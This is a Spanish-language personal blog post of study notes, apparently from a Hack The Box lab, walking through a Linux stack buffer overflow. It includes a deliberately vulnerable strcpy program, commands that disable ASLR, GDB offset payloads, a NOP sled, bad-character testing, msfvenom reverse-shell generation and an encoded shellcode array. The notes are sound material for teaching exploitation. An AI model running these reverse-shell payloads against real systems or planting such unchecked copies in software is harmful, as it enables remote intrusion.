Grunt's personal blog

this is my personal blog for my hacking stuff, my degree stuff, etc

View on GitHub

Buffer Overflow en Linux

Apunte de Arquitectura y Organización del computador 2

Entender la pila

Programa vulnerable en C

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

int bowfunc(char *string) {

	char buffer[1024];
	strcpy(buffer, string);
	return 1;
}

int main(int argc, char *argv[]) {

	bowfunc(argv[1]);
	printf("Done.\n");
	return 1;
}

student@nix-bow:~$ sudo su
root@nix-bow:/home/student# echo 0 > /proc/sys/kernel/randomize_va_space
root@nix-bow:/home/student# cat /proc/sys/kernel/randomize_va_space

0

Compilar a 32 bits

student@nix-bow:~$ sudo apt install gcc-multilib
student@nix-bow:~$ gcc bow.c -o bow32 -fno-stack-protector -z execstack -m32
student@nix-bow:~$ file bow32 | tr "," "\n"

Compilar a 64 bits

student@nix-bow:~$ gcc bow.c -o bow64 -fno-stack-protector -z execstack -m64
student@nix-bow:~$ file bow64 | tr "," "\n"

Funciones de C a tener en cuenta que pueden ser vulnerables

GNU Debugger (GDB)

Instruction Pointer

Determinar el offset

Utilizando GDB para determinar el offset

GDB EIP/RIP

The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/student/bow/bow32 $(python -c "print '\x55' * 1036 + '\x66' * 4")
Program received signal SIGSEGV, Segmentation fault.
0x66666666 in ?? ()

![]https://academy.hackthebox.com/storage/modules/31/buffer_overflow_4.png)

Generación del Shellcode

Usamos Metasploit para generar un shellcode. Por ejemplo:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=31337 --platform linux --arch x86 --format c

Este shellcode suele pesar 68 bytes.

Uso de NOPs

Se emplea la instrucción NOP (\x90) para crear un “sled” que garantice la ejecución correcta del shellcode. La idea es llenar todo el buffer hasta alcanzar la dirección de retorno (EIP/RIP).

Ejemplo de Payload en GDB

Ejecutamos el programa vulnerable con un payload formado por:

(gdb) run $(python -c 'print "\x55" * (1040 - 100 - 150 - 4) + "\x90" * 100 + "\x44" * 150 + "\x66" * 4')

Imágenes de Apoyo

Imagen 1 Imagen 2

Bad Characters (Caracteres Prohibidos)

Concepto

Los bad characters son bytes que, por la forma en que la aplicación procesa la entrada (por ejemplo, terminación de cadenas, sanitización, etc.), se corrompen o modifican durante el envío. Esto impide que el payload se copie de forma íntegra a la memoria.

Generación de la Lista Completa

Se define una variable con todos los bytes del 0x00 al 0xff:

CHARS="$(printf '\\x%02x' {0..255})"

Para contar el número de bytes:

echo $CHARS | sed 's/\\x/ /g' | wc -w

Prueba de Envío y Detección

Se envía el payload al programa vulnerable, incluyendo el bloque de caracteres:

(gdb) run $(python -c 'print "\x55" * (1040 - 256 - 4) + "<CHARS>" + "\x66" * 4')

Reemplazar <CHARS> por la secuencia completa.

Luego, inspeccionamos la memoria para verificar el estado de la secuencia:

(gdb) x/2000xb $esp+500

Generando ShellCode

GNT@htb[/htb]$ msfvenom -p linux/x86/shell_reverse_tcp lhost=127.0.0.1 lport=31337 --format c --arch x86 --platform linux --bad-chars "\x00\x09\x0a\x20" --out shellcode

Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of c file: 425 bytes
Saved as: shellcode


GNT@htb[/htb]$ cat shellcode

unsigned char buf[] = 
"\xda\xca\xba\xe4\x11\xd4\x5d\xd9\x74\x24\xf4\x58\x29\xc9\xb1"
"\x12\x31\x50\x17\x03\x50\x17\x83\x24\x15\x36\xa8\x95\xcd\x41"
"\xb0\x86\xb2\xfe\x5d\x2a\xbc\xe0\x12\x4c\x73\x62\xc1\xc9\x3b"